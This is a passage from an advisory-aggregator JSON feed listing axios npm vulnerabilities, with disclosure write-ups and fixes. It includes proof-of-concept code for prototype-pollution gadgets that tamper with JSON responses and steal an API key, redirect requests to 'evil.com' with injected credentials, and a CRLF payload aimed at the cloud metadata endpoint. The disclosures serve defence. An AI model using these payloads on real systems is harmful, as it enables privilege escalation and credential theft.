families.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-05-05T00:20:58.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.2,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N","references":["https://github.com/axios/axios/security/advisories/GHSA-pmwg-cvhr-8vh7","https://nvd.nist.gov/vuln/detail/CVE-2026-42043","https://github.com/advisories/GHSA-pmwg-cvhr-8vh7"],"source_kind":"github","identifiers":["GHSA-pmwg-cvhr-8vh7","CVE-2026-42043"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-05T01:00:11.649Z","updated_at":"2026-08-28T13:02:33.460Z","epss_percentage":0.00661,"epss_percentile":0.48525,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wbXdnLWN2aHItOHZoN84ABWJr","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1wbXdnLWN2aHItOHZoN84ABWJr","packages":[{"ecosystem":"npm","package_name":"axios","versions":[{"first_patched_version":"0.31.1","vulnerable_version_range":"\u003c= 0.31.0"},{"first_patched_version":"1.15.1","vulnerable_version_range":"\u003e= 1.0.0, \u003c 1.15.1"}],"purl":"pkg:npm/axios"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wbXdnLWN2aHItOHZoN84ABWJr/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0zdzZ4LTJnN20tOHYyM84ABWJq","url":"https://github.com/advisories/GHSA-3w6x-2g7m-8v23","title":"Axios: Invisible JSON Response Tampering via Prototype Pollution Gadget in `parseReviver`","description":"# Vulnerability Disclosure: Invisible JSON Response Tampering via Prototype Pollution Gadget in `parseReviver`\n\n## Summary\n\nThe Axios library is vulnerable to a Prototype Pollution \"Gadget\" attack that allows any `Object.prototype` pollution in the application's dependency tree to be escalated into **surgical, invisible modification of all JSON API responses** — including privilege escalation, balance manipulation, and authorization bypass.\n\nThe default `transformResponse` function at `lib/defaults/index.js:124` calls `JSON.parse(data, this.parseReviver)`, where `this` is the merged config object. Because `parseReviver` is **not present in Axios defaults, not validated by `assertOptions`, and not subject to any constraints**, a polluted `Object.prototype.parseReviver` function is called for **every key-value pair** in every JSON response, allowing the attacker to selectively modify individual values while leaving the rest of the response intact.\n\nThis is **strictly more powerful** than the `transformResponse` gadget because:\n1. **No constraints** — the reviver can return any value (no \"must return true\" requirement)\n2. **Selective modification** — individual JSON keys can be changed while others remain untouched\n3. **Invisible** — the response structure and most values look completely normal\n4. **Simultaneous exfiltration** — the reviver sees the original values before modification\n\n**Severity:** Critical (CVSS 9.1)\n**Affected Versions:** All versions (v0.x - v1.x including v1.15.0)\n**Vulnerable Component:** `lib/defaults/index.js:124` (JSON.parse with prototype-inherited reviver)\n\n## CWE\n\n- **CWE-1321:** Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')\n- **CWE-915:** Improperly Controlled Modification of Dynamically-Determined Object Attributes\n\n## CVSS 3.1\n\n**Score: 9.1 (Critical)**\n\nVector: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N`\n\n| Metric | Value | Justification |\n|---|---|---|\n| Attack Vector | Network | PP is triggered remotely via any vulnerable dependency |\n| Attack Complexity | Low | Once PP exists, single property assignment. Consistent with GHSA-fvcv-3m26-pcqx scoring methodology |\n| Privileges Required | None | No authentication needed |\n| User Interaction | None | No user interaction required |\n| Scope | Unchanged | Within the application process |\n| Confidentiality | **High** | The reviver receives every key-value pair from every JSON response — full data exfiltration. In the PoC, `apiKey: \"sk-secret-internal-key\"` is captured |\n| Integrity | **High** | Arbitrary, selective modification of any JSON value. No constraints. In the PoC, `isAdmin: false → true`, `role: \"viewer\" → \"admin\"`, `balance: 100 → 999999`. The response looks completely normal except for the surgically altered values |\n| Availability | None | No crash, no error — the attack is entirely silent |\n\n### Comparison with All Known Axios PP Gadgets\n\n| Factor | GHSA-fvcv-3m26-pcqx (Header Injection) | transformResponse | proxy (MITM) | **parseReviver (This)** |\n|---|---|---|---|---|\n| PP target | `Object.prototype['header']` | `Object.prototype.transformResponse` | `Object.prototype.proxy` | `Object.prototype.parseReviver` |\n| Fixed by 1.15.0? | Yes | No | No | **No** |\n| Constraints | N/A (fixed) | **Must return `true`** | None | **None** |\n| Data modification | Header injection only | Response replaced with `true` | Full MITM | **Selective per-key modification** |\n| Stealth | Request anomaly visible | Response becomes `true` (obvious) | Proxy visible in network | **Completely invisible** |\n| Data access | Headers only | `this.auth` + raw response | All traffic | **Every JSON key-value pair** |\n| Validated? | N/A | `assertOptions` validates | Not validated | **Not validated** |\n| In defaults? | N/A | Yes → goes through mergeConfig | No → bypasses mergeConfig | **No → bypasses mergeConfig** |\n\n## Usage of \"Helper\" Vulnerabilities\n\nThis vulnerability requires **Zero Direct User Input**.\n\nIf an attacker can pollute `Object.prototype` via any other library in the stack (e.g., `qs`, `minimist`, `lodash`, `body-parser`), the polluted `parseReviver` function is automatically used by every Axios request that receives a JSON response. The developer's code is completely safe — no configuration errors needed.\n\n## Root Cause Analysis\n\n### The Attack Path\n\n```\nObject.prototype.parseReviver = function(key, value) { /* malicious */ }\n         │\n         ▼\n  mergeConfig(defaults, userConfig)\n         │\n         │  parseReviver NOT in defaults → NOT iterated by mergeConfig\n         │  parseReviver NOT in userConfig → NOT iterated by mergeConfig\n         │  Merged config has NO own parseReviver property\n         │\n         ▼\n  transformData.call(config, config.transformResponse, response)\n         │\n         │  Default transformResponse function runs (NOT overridden)\n         │\n         ▼\n  defaults/index.js:124: JSON.parse(data, this.parseReviver)\n         │\n         │  this = config (merged config object, plain {})\n         │  config.parseReviver → NOT own property → traverses prototype chain\n         │  → finds Object.prototype.parseReviver → attacker's function!\n         │\n         ▼\n  JSON.parse calls reviver for EVERY key-value pair\n         │\n         │  Attacker can: read original value, modify it, return anything\n         │  No validation, no constraints, no assertOptions check\n         │\n         ▼\n  Application receives surgically modified JSON response\n```\n\n### Why `parseReviver` Bypasses ALL Existing Protections\n\n1. **Not in defaults** (`lib/defaults/index.js`): `parseReviver` is not defined in the defaults object, so `mergeConfig`'s `Object.keys({...defaults, ...userConfig})` iteration never encounters it. The merged config has no own `parseReviver` property.\n\n2. **Not in assertOptions schema** (`lib/core/Axios.js:135-142`): The schema only contains `{baseUrl, withXsrfToken}`. `parseReviver` is not validated.\n\n3. **No type check**: The `JSON.parse` API accepts any function as a reviver. There is no check that `this.parseReviver` is intentionally set.\n\n4. **Works INSIDE the default transform**: Unlike `transformResponse` pollution (which replaces the entire transform and is caught by `assertOptions`), `parseReviver` pollution injects into the DEFAULT `transformResponse` function's `JSON.parse` call. The default function itself is not replaced, so `assertOptions` has nothing to catch.\n\n### Vulnerable Code\n\n**File:** `lib/defaults/index.js`, line 124\n\n```javascript\ntransformResponse: [\n  function transformResponse(data) {\n    // ... transitional checks ...\n    if (data \u0026\u0026 utils.isString(data) \u0026\u0026 ((forcedJSONParsing \u0026\u0026 !this.responseType) || JSONRequested)) {\n      // ...\n      try {\n        return JSON.parse(data, this.parseReviver);\n        //                      ^^^^^^^^^^^^^^^^^\n        //                      this = config\n        //                      config.parseReviver → prototype chain → attacker's function\n      } catch (e) {\n        // ...\n      }\n    }\n    return data;\n  },\n],\n```\n\n## Proof of Concept\n\n```javascript\nimport http from 'http';\nimport axios from './index.js';\n\n// Server returns a realistic authorization response\nconst server = http.createServer((req, res) =\u003e {\n  res.writeHead(200, { 'Content-Type': 'application/json' });\n  res.end(JSON.stringify({\n    user: 'john',\n    role: 'viewer',\n    isAdmin: false,\n    canDelete: false,\n    balance: 100,\n    permissions: ['read'],\n    apiKey: 'sk-secret-internal-key',\n  }));\n});\nawait new Promise(r =\u003e server.listen(0, r));\nconst port = server.address().port;\n\n// === Before Pollution ===\nconst before = await axios.get(`http://127.0.0.1:${port}/api/me`);\nconsole.log('Before:', JSON.stringify(before.data));\n// {\"user\":\"john\",\"role\":\"viewer\",\"isAdmin\":false,\"canDelete\":false,\"balance\":100,...}\n\n// === Simulate Prototype Pollution ===\nlet stolen = {};\nObject.prototype.parseReviver = function(key, value) {\n  // Silently capture all original values\n  if (key \u0026\u0026 typeof value !== 'object') stolen[key] = value;\n  // Surgically modify specific values\n  if (key === 'isAdmin') return true;       // false → true\n  if (key === 'role') return 'admin';       // viewer → admin\n  if (key === 'canDelete') return true;     // false → true\n  if (key === 'balance') return 999999;     // 100 → 999999\n  return value;                              // everything else unchanged\n};\n\n// === After Pollution — same code, same URL ===\nconst after = await axios.get(`http://127.0.0.1:${port}/api/me`);\nconsole.log('After: ', JSON.stringify(after.data));\n// {\"user\":\"john\",\"role\":\"admin\",\"isAdmin\":true,\"canDelete\":true,\"balance\":999999,...}\n\nconsole.log('Stolen:', JSON.stringify(stolen));\n// {\"user\":\"john\",\"role\":\"viewer\",\"isAdmin\":false,...,\"apiKey\":\"sk-secret-internal-key\"}\n\ndelete Object.prototype.parseReviver;\nserver.close();\n```\n\n## Verified PoC Output\n\n```\n[1] Normal request (before pollution):\n    response.data: {\"user\":\"john\",\"role\":\"viewer\",\"isAdmin\":false,\"canDelete\":false,\n                     \"balance\":100,\"permissions\":[\"read\"],\"apiKey\":\"sk-secret-internal-key\"}\n    isAdmin: false\n    role: viewer\n\n[2] Prototype Pollution: Object.prototype.parseReviver\n    Polluted with selective value modifier\n\n[3] Same request (after pollution):\n    response.data: {\"user\":\"john\",\"role\":\"admin\",\"isAdmin\":true,\"canDelete\":true,\n                     \"balance\":999999,\"permissions\":[\"read\",\"write\",\"delete\",\"admin\"],\n                     \"apiKey\":\"sk-secret-internal-key\"}\n    isAdmin: true (was: false)\n    role: admin (was: viewer)\n    canDelete: true (was: false)\n    balance: 999999 (was: 100)\n\n[4] Exfiltrated data (stolen silently):\n    apiKey: sk-secret-internal-key\n    All captured: {\"user\":\"john\",\"role\":\"viewer\",\"isAdmin\":false,\"canDelete\":false,\n                   \"balance\":100,\"apiKey\":\"sk-secret-internal-key\"}\n\n[5] Why this bypasses all checks:\n    parseReviver in defaults? NO\n    parseReviver in assertOptions schema? NO\n    parseReviver validated anywhere? NO\n    Must return true? NO — can return ANY value\n    Replaces entire transform? NO — works INSIDE default JSON.parse\n```\n\n## Impact Analysis\n\n### 1. Authorization / Privilege Escalation\n\n```javascript\n// Server returns: {\"role\":\"viewer\",\"isAdmin\":false}\n// Application sees: {\"role\":\"admin\",\"isAdmin\":true}\n// → Application grants admin access to unprivileged user\n```\n\n### 2. Financial Manipulation\n\n```javascript\n// Server returns: {\"balance\":100,\"approved\":false}\n// Application sees: {\"balance\":999999,\"approved\":true}\n// → Application approves a transaction that should be rejected\n```\n\n### 3. Security Control Bypass\n\n```javascript\n// Server returns: {\"mfaRequired\":true,\"accountLocked\":true}\n// Application sees: {\"mfaRequired\":false,\"accountLocked\":false}\n// → Application skips MFA and unlocks a locked account\n```\n\n### 4. Silent Data Exfiltration\n\nThe reviver function receives the **original** value before modification. The attacker can silently capture all API keys, tokens, internal data, and PII from every JSON response while the application continues to function normally.\n\n### 5. Universal and Invisible\n\n- Affects **every** Axios request that receives a JSON response\n- The response structure is intact — only specific values are changed\n- No errors, no crashes, no suspicious behavior\n- Application logs show normal-looking API responses with tampered values\n\n## Recommended Fix\n\n### Fix 1: Use `hasOwnProperty` check before using `parseReviver`\n\n```javascript\n// FIXED: lib/defaults/index.js\nconst reviver = Object.prototype.hasOwnProperty.call(this, 'parseReviver')\n  ? this.parseReviver\n  : undefined;\nreturn JSON.parse(data, reviver);\n```\n\n### Fix 2: Use null-prototype config object\n\n```javascript\n// In lib/core/mergeConfig.js\nconst config = Object.create(null);\n```\n\n### Fix 3: Validate `parseReviver` type and source\n\n```javascript\n// FIXED: lib/defaults/index.js\nconst reviver = (typeof this.parseReviver === 'function' \u0026\u0026\n  Object.prototype.hasOwnProperty.call(this, 'parseReviver'))\n  ? this.parseReviver\n  : undefined;\nreturn JSON.parse(data, reviver);\n```\n\n## Relationship to Other Reported Gadgets\n\nThis vulnerability shares the same **root cause class** — unsafe prototype chain traversal on the merged config object — with two other reported gadgets:\n\n| Report | PP Target | Code Location | Fix Location | Impact |\n|---|---|---|---|---|\n| axios_26 | `transformResponse` | `mergeConfig.js:49` (defaultToConfig2) | `mergeConfig.js` | Credential theft, response replaced with `true` |\n| axios_30 | `proxy` | `http.js:670` (direct property access) | `http.js` | Full MITM, traffic interception |\n| **axios_31 (this)** | `parseReviver` | `defaults/index.js:124` (this.parseReviver) | `defaults/index.js` | **Selective JSON value tampering + data exfiltration** |\n\n### Why These Are Distinct Vulnerabilities\n\n1. **Different polluted properties:** Each targets a different `Object.prototype` key.\n2. **Different code paths:** `transformResponse` enters via `mergeConfig`; `proxy` is read directly by `http.js`; `parseReviver` is read inside the default `transformResponse` function's `JSON.parse` call.\n3. **Different fix locations:** Fixing `mergeConfig.js` (axios_26) does NOT fix `defaults/index.js:124` (this vulnerability). Fixing `http.js:670` (axios_30) does NOT fix this either. Each requires a separate patch.\n4. **Different impact profiles:** `transformResponse` is constrained to return `true`; `proxy` requires a proxy server; `parseReviver` enables constraint-free selective value modification.\n\n### Comprehensive Fix\n\nWhile each vulnerability requires a location-specific patch, the comprehensive fix is to use **null-prototype objects** (`Object.create(null)`) for the merged config in `mergeConfig.js`, which would eliminate prototype chain traversal for all config property accesses and address all three gadgets at once. The maintainer may choose to assign a single CVE covering the root cause or separate CVEs for each distinct exploitation path — we defer to the maintainer's judgment on this.\n\n## Resources\n\n- [CWE-1321: Prototype Pollution](https://cwe.mitre.org/data/definitions/1321.html)\n- [CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes](https://cwe.mitre.org/data/definitions/915.html)\n- [GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios (Fixed in 1.15.0)](https://github.com/advisories/GHSA-fvcv-3m26-pcqx)\n- [MDN: JSON.parse reviver](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON/parse#the_reviver_parameter)\n- [Axios GitHub Repository](https://github.com/axios/axios)\n\n## Timeline\n\n| Date | Event |\n|---|---|\n| 2026-04-16 | Vulnerability discovered during source code audit |\n| 2026-04-16 | PoC developed and verified — selective response tampering confirmed |\n| TBD | Report submitted to vendor via GitHub Security Advisory |","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-05-05T00:19:33.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.5,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:N","references":["https://github.com/axios/axios/security/advisories/GHSA-3w6x-2g7m-8v23","https://nvd.nist.gov/vuln/detail/CVE-2026-42044","https://github.com/advisories/GHSA-3w6x-2g7m-8v23"],"source_kind":"github","identifiers":["GHSA-3w6x-2g7m-8v23","CVE-2026-42044"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-05T01:00:11.649Z","updated_at":"2026-08-29T17:02:15.076Z","epss_percentage":0.00586,"epss_percentile":0.45385,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zdzZ4LTJnN20tOHYyM84ABWJq","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0zdzZ4LTJnN20tOHYyM84ABWJq","packages":[{"ecosystem":"npm","package_name":"axios","versions":[{"first_patched_version":"1.15.2","vulnerable_version_range":"\u003e= 1.0.0, \u003c 1.15.2"}],"purl":"pkg:npm/axios"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zdzZ4LTJnN20tOHYyM84ABWJq/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1xOHFwLWN2Y3cteDZqas4ABWJp","url":"https://github.com/advisories/GHSA-q8qp-cvcw-x6jj","title":"Axios has prototype pollution read-side gadgets in HTTP adapter that allow credential injection and request hijacking","description":"## Summary\n\nFive config properties in the HTTP adapter are read via direct property access without `hasOwnProperty` guards, making them exploitable as prototype pollution gadgets. When `Object.prototype` is polluted by another dependency in the same process, axios silently picks up these polluted values on every outbound HTTP request.\n\n## Affected Properties\n\n1. **`config.auth`** (`lib/adapters/http.js` line 617)  Injects attacker-controlled `Authorization` header on all requests.\n2. **`config.baseURL`** (`lib/helpers/resolveConfig.js` line 18) Redirects all requests using relative URLs to an attacker-controlled server.\n3. **`config.socketPath`** (`lib/adapters/http.js` line 669) Redirects requests to internal Unix sockets (e.g. Docker daemon).\n4. **`config.beforeRedirect`** (`lib/adapters/http.js` line 698) Executes attacker-supplied callback during HTTP redirects.\n5. **`config.insecureHTTPParser`** (`lib/adapters/http.js` line 712) Enables Node.js insecure HTTP parser on all requests.\n\n## Proof of Concept\n\n```javascript\nconst axios = require('axios');\n\n// Prototype pollution from a vulnerable dependency in the same process\nObject.prototype.auth = { username: 'attacker', password: 'exfil' };\nObject.prototype.baseURL = 'https://evil.com';\n\nawait axios.get('/api/users');\n// Request is sent to: https://evil.com/api/users\n// With header: Authorization: Basic YXR0YWNrZXI6ZXhmaWw=\n// Attacker receives both the request and injected credentials\n```\n\n## Impact\n\n- **Credential injection:** Every axios request includes an attacker-controlled `Authorization` header, leaking request contents to any server that logs auth headers.\n- **Request hijacking:** All requests using relative URLs are silently redirected to an attacker-controlled server.\n- **SSRF:** Requests can be redirected to internal Unix sockets, enabling container escape in Docker environments.\n- **Code execution:** Attacker-supplied functions execute during HTTP redirects.\n- **Parser weakening:** Insecure HTTP parser enabled on all requests, enabling request smuggling.\n\n## Root Cause\n\n`mergeConfig()` iterates `Object.keys({...config1, ...config2})`, which only returns own properties. When neither the defaults nor the user config sets these properties, they are absent from the merged config. The HTTP adapter then reads them via direct property access (`config.auth`, `config.socketPath`, etc.), which traverses the prototype chain and picks up polluted values.\n\nThe `own()` helper at `lib/adapters/http.js` line 336 exists and guards 8 other properties (`data`, `lookup`, `family`, `httpVersion`, `http2Options`, `responseType`, `responseEncoding`, `transport`) from this exact attack. The 5 properties listed above are not included in this protection.\n\n## Suggested Fix\n\nApply the existing `own()` helper to all affected properties:\n\n```javascript\nconst configAuth = own('auth');\nif (configAuth) {\n  const username = configAuth.username || '';\n  const password = configAuth.password || '';\n  auth = username + ':' + password;\n}\n```\n\nSame pattern for `socketPath`, `beforeRedirect`, `insecureHTTPParser`, and a `hasOwnProperty` check for `baseURL` in `resolveConfig.js`.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-05-05T00:18:38.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.4,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","references":["https://github.com/axios/axios/security/advisories/GHSA-q8qp-cvcw-x6jj","https://nvd.nist.gov/vuln/detail/CVE-2026-42264","https://github.com/axios/axios/pull/10779","https://github.com/axios/axios/commit/47915144662f2733e6c051bdcb895a8c8f0586aa","https://github.com/axios/axios/releases/tag/v1.15.2","https://github.com/advisories/GHSA-q8qp-cvcw-x6jj"],"source_kind":"github","identifiers":["GHSA-q8qp-cvcw-x6jj","CVE-2026-42264"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-05T01:00:11.649Z","updated_at":"2026-08-28T13:02:33.460Z","epss_percentage":0.00715,"epss_percentile":0.50565,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xOHFwLWN2Y3cteDZqas4ABWJp","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1xOHFwLWN2Y3cteDZqas4ABWJp","packages":[{"ecosystem":"npm","package_name":"axios","versions":[{"first_patched_version":"1.15.2","vulnerable_version_range":"\u003e= 1.0.0, \u003c 1.15.2"}],"purl":"pkg:npm/axios"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xOHFwLWN2Y3cteDZqas4ABWJp/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS14aGpoLXBtY3YtMjNqd84ABWJo","url":"https://github.com/advisories/GHSA-xhjh-pmcv-23jw","title":"Axios: Null Byte Injection via Reverse-Encoding in AxiosURLSearchParams","description":"# Vulnerability Disclosure: Null Byte Injection via Reverse-Encoding in AxiosURLSearchParams\n\n## Summary\n\nThe `encode()` function in `lib/helpers/AxiosURLSearchParams.js` contains a character mapping (`charMap`) at line 21 that **reverses** the safe percent-encoding of null bytes. After `encodeURIComponent('\\x00')` correctly produces the safe sequence `%00`, the charMap entry `'%00': '\\x00'` converts it back to a raw null byte.\n\nThis is a clear encoding defect: every other charMap entry encodes in the safe direction (literal → percent-encoded), while this single entry decodes in the opposite (dangerous) direction.\n\n**Severity:** Low (CVSS 3.7)\n**Affected Versions:** All versions containing this charMap entry\n**Vulnerable Component:** `lib/helpers/AxiosURLSearchParams.js:21`\n\n## CWE\n\n- **CWE-626:** Null Byte Interaction Error (Poison Null Byte)\n- **CWE-116:** Improper Encoding or Escaping of Output\n\n## CVSS 3.1\n\n**Score: 3.7 (Low)**\n\nVector: `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N`\n\n| Metric | Value | Justification |\n|---|---|---|\n| Attack Vector | Network | Attacker controls input parameters remotely |\n| Attack Complexity | High | Standard axios request flow (`buildURL`) uses its own `encode` function which does NOT have this bug. Only triggered via direct `AxiosURLSearchParams.toString()` without an encoder, or via custom `paramsSerializer` delegation |\n| Privileges Required | None | No authentication needed |\n| User Interaction | None | No user interaction required |\n| Scope | Unchanged | Impact limited to HTTP request URL |\n| Confidentiality | None | No confidentiality impact |\n| Integrity | Low | Null byte in URL can cause truncation in C-based backends, but requires a vulnerable downstream parser |\n| Availability | None | No availability impact |\n\n## Vulnerable Code\n\n**File:** `lib/helpers/AxiosURLSearchParams.js`, lines 13-26\n\n```javascript\nfunction encode(str) {\n  const charMap = {\n    '!': '%21',     // literal → encoded (SAFE direction)\n    \"'\": '%27',     // literal → encoded (SAFE direction)\n    '(': '%28',     // literal → encoded (SAFE direction)\n    ')': '%29',     // literal → encoded (SAFE direction)\n    '~': '%7E',     // literal → encoded (SAFE direction)\n    '%20': '+',     // standard transformation (SAFE)\n    '%00': '\\x00',  // LINE 21: encoded → raw null byte (UNSAFE direction!)\n  };\n  return encodeURIComponent(str).replace(/[!'()~]|%20|%00/g, function replacer(match) {\n    return charMap[match];\n  });\n}\n```\n\n### Why the Standard Flow Is NOT Affected\n\n```javascript\n// buildURL.js:36 — uses its OWN encode function (lines 14-20), not AxiosURLSearchParams's\nconst _encode = (options \u0026\u0026 options.encode) || encode;  // buildURL's encode\n\n// buildURL.js:53 — passes buildURL's encode to AxiosURLSearchParams\nnew AxiosURLSearchParams(params, _options).toString(_encode);  // external encoder used\n\n// AxiosURLSearchParams.js:48 — when encoder is provided, internal encode is NOT used\nconst _encode = encoder ? function(value) { return encoder.call(this, value, encode); } : encode;\n//                                                                              ^^^^^^\n//                                           internal encode passed as 2nd arg but only used if\n//                                           the external encoder explicitly delegates to it\n```\n\n## Proof of Concept\n\n```javascript\nimport AxiosURLSearchParams from './lib/helpers/AxiosURLSearchParams.js';\nimport buildURL from './lib/helpers/buildURL.js';\n\n// Test 1: Direct AxiosURLSearchParams (VULNERABLE path)\nconst params = new AxiosURLSearchParams({ file: 'test\\x00.txt' });\nconst result = params.toString();  // NO encoder → uses internal encode with charMap\nconsole.log('Direct toString():', JSON.stringify(result));\n// Output: \"file=test\\u0000.txt\" (contains raw null byte)\nconsole.log('Hex:', Buffer.from(result).toString('hex'));\n// Output: 66696c653d74657374002e747874  (00 = null byte)\n\n// Test 2: Via buildURL (NOT vulnerable — standard axios flow)\nconst url = buildURL('http://example.com/api', { file: 'test\\x00.txt' });\nconsole.log('Via buildURL:', url);\n// Output: http://example.com/api?file=test%00.txt  (%00 preserved safely)\n```\n\n## Verified PoC Output\n\n```\nDirect toString(): \"file=test\\u0000.txt\"\nContains raw null byte: true\nHex: 66696c653d74657374002e747874\n\nVia buildURL: http://example.com/api?file=test%00.txt\nContains raw null byte: false\nContains safe %00: true\n```\n\n## Impact Analysis\n\n**Primary impact is limited** because the standard axios request flow is not affected. However:\n\n- **Direct API users:** Applications using `AxiosURLSearchParams` directly for custom serialization are affected\n- **Custom paramsSerializer:** A `paramsSerializer.encode` that delegates to the internal encoder triggers the bug\n- **Code defect signal:** The directional inconsistency in charMap is a clear coding error with no legitimate use case\n\nIf null bytes reach a downstream C-based parser, impacts include URL truncation, WAF bypass, and log injection.\n\n## Recommended Fix\n\nRemove the `%00` entry from charMap and update the regex:\n\n```javascript\nfunction encode(str) {\n  const charMap = {\n    '!': '%21',\n    \"'\": '%27',\n    '(': '%28',\n    ')': '%29',\n    '~': '%7E',\n    '%20': '+',\n    // REMOVED: '%00': '\\x00'\n  };\n  return encodeURIComponent(str).replace(/[!'()~]|%20/g, function replacer(match) {\n    //                                           ^^^^ removed |%00\n    return charMap[match];\n  });\n}\n```\n\n## Resources\n\n- [CWE-626: Null Byte Interaction Error](https://cwe.mitre.org/data/definitions/626.html)\n- [CWE-116: Improper Encoding or Escaping of Output](https://cwe.mitre.org/data/definitions/116.html)\n- [OWASP: Embedding Null Code](https://owasp.org/www-community/attacks/Embedding_Null_Code)\n- [Axios GitHub Repository](https://github.com/axios/axios)\n\n## Timeline\n\n| Date | Event |\n|---|---|\n| 2026-04-15 | Vulnerability discovered during source code audit |\n| 2026-04-16 | Report revised: documented standard-flow limitation, corrected CVSS |\n| TBD | Report submitted to vendor via GitHub Security Advisory |","origin":"UNSPECIFIED","severity":"LOW","published_at":"2026-05-05T00:18:03.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":3.7,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N","references":["https://github.com/axios/axios/security/advisories/GHSA-xhjh-pmcv-23jw","https://nvd.nist.gov/vuln/detail/CVE-2026-42040","https://github.com/advisories/GHSA-xhjh-pmcv-23jw"],"source_kind":"github","identifiers":["GHSA-xhjh-pmcv-23jw","CVE-2026-42040"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-05T01:00:11.649Z","updated_at":"2026-08-28T13:02:33.461Z","epss_percentage":0.00217,"epss_percentile":0.11928,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14aGpoLXBtY3YtMjNqd84ABWJo","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS14aGpoLXBtY3YtMjNqd84ABWJo","packages":[{"ecosystem":"npm","package_name":"axios","versions":[{"first_patched_version":"0.31.1","vulnerable_version_range":"\u003c= 0.31.0"},{"first_patched_version":"1.15.1","vulnerable_version_range":"\u003e= 1.0.0, \u003c 1.15.1"}],"purl":"pkg:npm/axios"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14aGpoLXBtY3YtMjNqd84ABWJo/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1mdmN2LTNtMjYtcGNxeM4ABVGD","url":"https://github.com/advisories/GHSA-fvcv-3m26-pcqx","title":"Axios has Unrestricted Cloud Metadata Exfiltration via Header Injection Chain","description":"# Vulnerability Disclosure: Unrestricted Cloud Metadata Exfiltration via Header Injection Chain\n\n## Summary\nThe Axios library is vulnerable to a specific gadget-style attack chain in which **prototype pollution** in a third-party dependency may be leveraged to inject unsanitized header values into outbound requests.\n\nAxios can be used as a gadget after pollution occurs elsewhere because header values merged from attacker-controlled prototype properties are not sanitized for CRLF (`\\r\\n`) characters before being written to the request. In affected deployments, this may enable limited request manipulation or metadata access as part of a higher-complexity exploit chain.\n\n**Severity**: Moderate (CVSS 3.1 Base Score: 4.8)\n**Affected Versions**: All versions (v0.x - v1.x)\n**Vulnerable Component**: `lib/adapters/http.js` (Header Processing)\n\n## Usage of \\\"Helper\\\" Vulnerabilities\nThis issue requires a separate **prototype pollution** vulnerability in another library in the application stack (for example, `qs`, `minimist`, `ini`, or `body-parser`). If an attacker can pollute `Object.prototype`, Axios may pick up the polluted properties during config merge.\n\nBecause Axios does not sanitise these merged header values for CRLF (`\\r\\n`) characters, the polluted property can alter the structure of an outbound HTTP request.\n\n## Proof of Concept\n\n### 1. The Setup (Simulated Pollution)\nImagine a scenario where a known vulnerability exists in a query parser. The attacker sends a payload that sets:\n```javascript\nObject.prototype['x-amz-target'] = \\\"dummy\\r\\n\\r\\nPUT /latest/api/token HTTP/1.1\\r\\nHost: 169.254.169.254\\r\\nX-aws-ec2-metadata-token-ttl-seconds: 21600\\r\\n\\r\\nGET /ignore\\\";\n```\n\n### 2. The Gadget Trigger (Safe Code)\nThe application makes a completely safe, hardcoded request:\n```javascript\n// This looks safe to the developer\nawait axios.get('https://analytics.internal/pings'); \n```\n\n### 3. The Execution\nAxios merges the prototype property `x-amz-target` into the request headers. It then writes the header value directly to the socket without validation.\n\n**Resulting HTTP traffic:**\n```http\nGET /pings HTTP/1.1\nHost: analytics.internal\nx-amz-target: dummy\n\nPUT /latest/api/token HTTP/1.1\nHost: 169.254.169.254\nX-aws-ec2-metadata-token-ttl-seconds: 21600\n\nGET /ignore HTTP/1.1\n...\n```\n\n### 4. The Impact\nIn environments where requests can reach cloud metadata endpoints or sensitive internal services, the injected header content may help bypass expected request constraints and expose limited credentials or modify request semantics. This impact depends on application context and a separate prototype-pollution primitive.\n\n## Impact Analysis\n-   **Confidentiality**: May expose limited sensitive information in affected network environments.\n-   **Integrity**: May allow modification of outbound request structure or injected headers.\n-   **Attack Complexity**: Exploitation requires a separate prototype-pollution vulnerability and a reachable target service.\n\n## Recommended Fix\nValidate all header values in `lib/adapters/http.js` and `xhr.js` before passing them to the underlying request 